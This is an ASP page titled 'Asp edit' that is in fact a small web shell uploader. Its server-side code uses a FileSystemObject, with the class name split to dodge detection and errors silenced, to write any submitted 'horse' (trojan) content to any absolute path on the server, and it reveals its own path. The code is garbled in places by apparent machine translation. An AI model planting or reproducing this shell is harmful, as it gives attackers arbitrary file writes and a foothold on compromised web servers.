<HTML xmlns: V>
<Head>
<Title> Asp edit </title>
<Meta http-equiv = 'content-type' content = 'text/html; charset = gb2312 '/>
<! -- No jump -->
<Style rel = 'stylesheet '>
V /:*{
Behavior: URL (# default # VML );
}
Body, Div, span, Li, TD, {
Color: #666666;
Font-size: 12px! Important;
Font-size: 11px;
Font-family: tahoma, Arial, 'courier new', verdana, sans-serif;
Line-Height: 19px;
}
A {
Color: #444444;
Text-Decoration: none;
}
A: hover {
Color: red;
Text-Decoration: none;
}
. Style1 {color: #000000}
</Style>
</Head>
<Body style = 'text-align: center; margin: 90px 20px 50px 20px '>
<Div style = 'margin: auto; width: margin PX; text-align: Center'>
<V: roundrect style = 'text-align: Left; display: Table; margin: auto; padding: 15px; width: 750px; Height: 510px; overflow: hidden; position: relative; 'arcsize = '3200f' coordsize = '000000' fillcolor = '# fdfdfd 'strokecolor =' # e6e6e6 'strokeweight = '1px '>
<Table width = '000000' cellpadding = '0' cellspacing = '0' border = '0' style = 'padding-bottom: 6px; border-bottom: 1px # e3e3e3 solid '>
<Tr>
<TD> <% dim objfso %> <% dim fdata %> <% dim objcountfile %> <% on error resume next %> <% set objfso = server. createobject ("SCR" & ABC & "ipting. fileSystemObject ") %> <% if trim (Request (" syfdpath ") <>" "Then %> <% fdata = request (" cyfddata ") %> <% set objcountfile = objfso. createtextfile (Request ("syfdpath"), true) %> <% objcountfile. write fdata %> <% if err = 0 then %> <% response. write "<font color = Red> preserve Saved successfully! </Font> "%> <% else %> <% response. Write" <font color = Red> failed to save! </Font> "%> <% end if %> <% err. clear %> <% end if %> <% objcountfile. close %> <% set objcountfile = nothing %> <% set objfso = nothing %> <% response. write "<form action ='' method = post> "%> <% response. write "Save the <font color = Red> absolute path of the file (including the file name, for example, D:/web/X. ASP): </font> "%> <% response. write "<input type = text name = syfdpath width = 32 size = 50>" %> <% response. write "<br>" %> <% response. write "absolute path of this file" %> <% = server. mappath (request. servervariables ("script_name") %> <% response. write "<br>" %> <% response. write "content of the input horse:" %> <% response. write "<textarea name = cyfddata Cols = 80 rows = 10 width = 32> </textarea>" %> <% response. write "<input type = submit value = save>" %> <% response. write "</form>" %>
<Div align = "Left"> </div> </TD>
</Tr>
</Table>
</V: roundrect>
</Div>
</Body>
</Html>